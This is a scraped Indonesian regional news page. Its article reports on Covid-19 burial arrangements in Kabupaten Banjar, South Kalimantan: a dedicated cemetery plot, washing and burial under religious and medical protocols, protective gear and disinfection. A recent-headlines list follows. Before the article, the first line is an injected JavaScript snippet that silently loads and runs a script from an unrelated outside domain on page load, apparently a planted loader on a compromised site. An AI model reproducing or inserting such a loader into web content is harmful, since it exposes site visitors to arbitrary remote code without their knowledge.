(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Banjar

Pemulasaran Jenazah Covid-19 di Kabupaten Banjar Sesuai Syariah dan Protokol Medis  


KANALKALIMANTAN.COM, MARTAPURA – Corona virus disease 2019 (Covid-19) yang mewabah di Kalimantan Selatan telah menyebabkan ribuan warga terpapar dan ratusan lainnya meninggal dunia.

Salah satunya di Kabupaten Banjar sendiri pada Kamis (11/6/2020) tercatat 132 orang yang dinyatakan positif serta ada delapan orang yang meninggal dunia.

Pemerintah Kabupaten Banjar telah melakukan berbagai upaya pencegahan penularan Covid-19. termasuk juga menyiapkan lahan seluas 30 x 30 meter persegi di Desa Tungkaran, Kecamartan Martapura untuk dijadikan permakaman pasien Covid-19 yang meninggal dunia.

Sehingga kapanpun diperlukan sudah siap, agar nantinya bisa menyelenggarakan pemakaman jenazah dapat berjalan dengan cepat, lancar dan sesuai dengan protokol resmi WHO yang ditegaskan kembali oleh Kementerian Agama dan Majelis UIama Indonesia (MUI).

Kepala Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Banjar H Irwan Kumar mengatakan, pelaksanaan pemulasaran jenazah pasien Covid-19 dilakukan sebagaimana tata cara umum mengurus jenazah yang telah diterbitkan oleh Kementerian Agama.

“Mulai dari cara memandikan, mensholatkan bagi yang muslim hingga proses penguburan. Hal ini dilakukan sebagai antisipasi terhadap hal- hal yang tidak kita inginkan bersama, terhadap siapapun yang nantinya mengurus, memandikan, hingga menguburkan jenazah pasien,” jelasnya

Irwan Kumar mengungkapkan, pemakaman dilakukan sesuai dengan ketentuan syariah dan protokol medis, serta memasukkan jenazah bersama petinya ke dalam liang kubur tanpa harus membuka peti, plastik, dan kafan.

“Semuanya dilakukan dengan hati hati dan untuk petugas sendiri mengunakan Alat Pelindung Diri (APD) lengkap, dan setelah proses pemakaman selesai area makam akan disterilkan dengan menyemprotkan disinfektan.” ungkapnya. (kanalkalimantan.com/bie/adv)

Reporter : bie
Editor : kk

 


Al Ghifari

Recent Posts

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

48 menit ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

2 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

2 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

3 jam ago

Kontrol Overpopulasi Kucing Beranak Pinak di Banjarbaru, 150 Pejantan Dikebiri

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More

5 jam ago

Dominasi Golkar di Rumah Banjar, Ini 55 Calon Terpilih Anggota DPRD Kalsel 2024-2029

KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) resmi menetapkan perolehan kursi… Read More

6 jam ago

This website uses cookies.